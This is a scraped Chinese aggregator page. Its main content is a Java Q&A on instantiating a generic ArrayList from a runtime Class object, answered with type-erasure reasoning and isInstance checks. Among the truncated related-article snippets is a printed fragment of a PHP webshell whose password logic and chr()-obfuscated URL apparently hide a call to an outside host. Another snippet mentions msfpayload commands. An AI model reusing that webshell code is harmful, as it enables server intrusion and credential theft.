java class类型参数_使用Class对象实例化Java类型参数/ generic

如何实例化Java泛型对象,该对象仅接受类或参数给出的类型参数宾语?

例如:

通常,可以使用以下语法实例化Integer对象的ArrayList:

ArrayList foo = new ArrayList();

但是,给定一个Class诸如Integer.class之类的对象,怎么能创建一个类似的ArrayList?例如,我将如何做这样的事情(语法不正确):

ArrayList foo = new ArrayList();

我需要这个用于Java的非常不寻常的事情(创建一个开源工具,用于可视化用户提供的数据结构实例/他们编写的泛型类).以下是我将如何使用此代码的示例,该代码说明了我将获得的信息:

import java.util.ArrayList;

import java.util.List;

public class ArrayListFromClass {

// obviously this code does not work

public static void main(String[] args) {

Object givenObject = new Integer(4);

// I would not know it is Integer.class, a Class> object would be supplied by the user/ as a generic

Class> cls = givenObject.getClass();

List bar = new ArrayList();

// Where args[0] is "Integer.class"

List foo = new ArrayList();

// then I would be able to add to foo or bar with one or both of these techniques:

// printing givenObject.getClass() gives you java.lang.Integer, don't worry about the casting not working.

bar.add(cls.cast(givenObject));

Integer y = 6;

bar.add(y);

}

}

最佳答案 Java是静态类型的.您希望实例化ArrayList的原因如下:

ArrayList foo = new ArrayList<>();

是让你的IDE /编译器知道,除了Integer以外的东西被放入列表中,显示错误.除此之外,内部将忽略这种初始化,实际上甚至是erase the type.

所以,当你得到你的班级对象在运行时,您只知道代码实际运行时类的类型.因此,IDE /编译器无法在运行时警告您代码中是否存在错误.

所以List< Object>在你的情况下会做得很好.如果你想要类型安全,你必须自己检查,如下:

String sampleString = "String";

Class> clazz = sampleString.getClass();

...

if (clazz.isInstance(sampleString)) {

list.add(sampleString);

}

当你实际拥有一个Class时,.isInstance(Object obj)相当于instanceof.在眼前.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306977.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Magicodes.IE 3.0重磅设计畅谈

Magicodes.IE 3.0重磅设计畅谈总体设计图Magicodes.IE导入导出通用库&#xff0c;支持Dto导入导出、模板导出、花式导出以及动态导出&#xff0c;支持Excel、Csv、Word、Pdf和Html。IE在去年年底重构一次之后&#xff0c;经过这么长时间的迭代&#xff0c;又迎来了瓶颈。根据本…

php引用类,thinkphp引用类的使用

比如发送邮件类phpmailer1.将核心文件放入ORG目录下2.在使用的地方&#xff0c;引入这个类文件如何引入呢&#xff1f;import(.ORG.phpmailer);这个表示引入当前项目中的ORG中的phpmailer.class.php文件3.引入之后就可以使用文件中的类了public function sendEmail() {import(.…

Net5 已经来临,让我来送你一个成功

没错&#xff0c;那就是“下载成功”。现在&#xff0c;已经可以急速下载.Net5 docker 镜像 .Net 5 进行今天已经正式发布&#xff0c;想必各位已经通过各种渠道了解到了此次发布的所有内容。并且也都体会到了这次凑成三连的金 scott 是什么效果&#xff08;啊哈&#xff0c;三…

list申请java,java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到......

导航&#xff1a;网站首页 >java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...相关问题…

推荐几款强大流行的BI系统

高级架构师俱乐部 读完需要2分钟速读仅需 1 分钟企业在日常运营过程中&#xff0c;需要根据公司实时经营数据来做未来决测或者发现经营中的问题&#xff0c;在此过程中离不开对数据的分析&#xff0c;而平常利用 excel 等方式极大的提高了领导层快速做出决测的成本&#xff0c…

php 4位数字不足补零,php实现数字不足补0的方法

php实现数字不足补0的方法发布时间&#xff1a;2020-08-28 09:51:06来源&#xff1a;亿速云阅读&#xff1a;100作者&#xff1a;小新这篇文章将为大家详细讲解有关php实现数字不足补0的方法&#xff0c;小编觉得挺实用的&#xff0c;因此分享给大家做个参考&#xff0c;希望大…

聊聊单元测试

大家好&#xff0c;我是Z哥。提起单元测试&#xff0c;很多人对它的态度是&#xff0c;我知道它有用&#xff0c;但是我不想写。大多数人的理由是没时间写&#xff0c;任务太多。但是说实话&#xff0c;是真的没时间吗&#xff1f;Z哥认为真是由于没时间而不写单元测试的人绝对…

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…

msf payload php,Metasploit(四)--Msfpayload命令

msfpayload即将在2015年6月18日弃用&#xff0c;用msfvenmon替代msfpayload -hmsfpayload的帮助信息。msfpayload -l | grep windowsmsfpayload -l | grep linuxmsfpayload -l | grep andriod列出某个平台的pyloadsmsfpayload windows/meterpreter/bind_tcp S查看需要设置参数m…

起点低,怎么破?

职场&认知洞察 丨 作者 / findyi这是findyi公众号分享的第91篇原创文章洋友问&#xff1a;“洋哥&#xff0c;我北漂多年&#xff0c;专科毕业从农村出来&#xff0c;感觉做什么都不顺&#xff0c;我该怎么办”。和他聊了聊&#xff0c;他毕业后就来北京打工&#xff0c;尝…

java编写记事本程序出现图形,高手帮忙啊,老师布置了一个作业,要用java编写一个记事本程序...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼super(arg0);// TODO Auto-generated constructor stubinitialize();}/*** param arg0* throws HeadlessException*/public Notepad(String arg0) throws HeadlessException {super(arg0);// TODO Auto-generated constructor stub…

C# Span 源码解读和应用实践

一&#xff1a;背景 1. 讲故事这两天工作上太忙没有及时持续的文章产出&#xff0c;和大家说声抱歉&#xff0c;前几天群里一个朋友在问什么时候可以产出 Span 的下一篇&#xff0c;哈哈&#xff0c;这就来啦&#xff01;读过上一篇的朋友应该都知道 Span 统一了 .NET 程序 栈 …

asp.net core web mvc之异常

与web api类似&#xff0c;asp.net core web mvc模板也是利用ExceptionHandler来处理错误&#xff0c;在starup的Configure配置数据发生时导向的/home/errorpublic void Configure(IApplicationBuilder app, IWebHostEnvironment env){if (env.IsDevelopment()){app.UseDevelop…

php phpmailer qq邮箱,QQ邮箱利用PHPmailer发送邮件

require_once("class.phpmailer.php");$mail new PHPMailer();//是否启用smtp的debug进行调试 开发环境建议开启 生产环境注释掉即可 默认关闭debug调试模式$mail->SMTPDebug 1;//使用smtp鉴权方式发送邮件$mail->isSMTP();//smtp需要鉴权 这个必须是true$ma…

java 类的实例化没有属性值,java – JsonMappingException:无法实例化类型的值没有single-long-arg构造函数/工厂方法...

嗨我正在尝试在zk框架上解析json响应到java中这是杰森的答复{"currentTime":1355390722038,"text":"OK","data":{"limitExceeded":false,"references":{"stops":[],"situations":[],"tr…

[C#.NET 拾遗补漏]12:死锁和活锁的发生及避免

多线程编程时&#xff0c;如果涉及同时读写共享数据&#xff0c;就要格外小心。如果共享数据是独占资源&#xff0c;则要对共享数据的读写进行排它访问&#xff0c;最简单的方式就是加锁。锁也不能随便用&#xff0c;否则可能会造成死锁和活锁。本文将通过示例详细讲解死锁和活…

64岁Python之父加入微软 | 谁说大龄程序员无出路

喜欢就关注我们吧&#xff01;现年 64 岁的 Python 创始人 Guido van Rossum 退休一年后再度复出&#xff0c;今天宣布已加入微软开发者部门 (Developer Division).我觉得退休生活乏味又无趣&#xff0c;因此已加入微软开发者部门。做什么工作&#xff1f;选择太多了&#xff0…

JAVA中的GridView每一个赋值,在ASP.NET 2.0中操作数据之六十二:GridView批量更新数据...

导言&#xff1a;在前面的教程&#xff0c;我们对数据访问层进行扩展以支持数据库事务.数据库事务确保一系列的操作要么都成功&#xff0c;要么都失败。本文我们将注意力转到创建一个批更新数据界面.在本文&#xff0c;我们将创建一个GridView控件&#xff0c;里面的每一行记录…

微软发布VS Code Jupyter插件!不止Python!多语言的Jupyter Notebook支持来了!

北京时间 2020 年 11 月 12 日&#xff0c;微软发布了全新的 VS Code Jupyter 插件&#xff01;Jupyter 插件将 Jupyter Notebook 的功能引入 VS Code&#xff0c;并且将会支持更多语言和使用场景。Jupyter Notebook 支持创建和共享包含代码、方程式、文本和可视化内容的文档&a…

java xml 追加,java – 如何将节点从xml文档追加到现有的xml文档

我的a.xml中有锦标赛列表&#xff1a;abc广告然后我在b.xml中有一个锦标赛d我怎样才能将b.xml文件作为另一个锦标赛的文件&#xff1f;所以这就是我想要的&#xff1a;abcd解决方法:更新.码&#xff1a;DocumentBuilderFactory documentBuilderFactory DocumentBuilderFactory…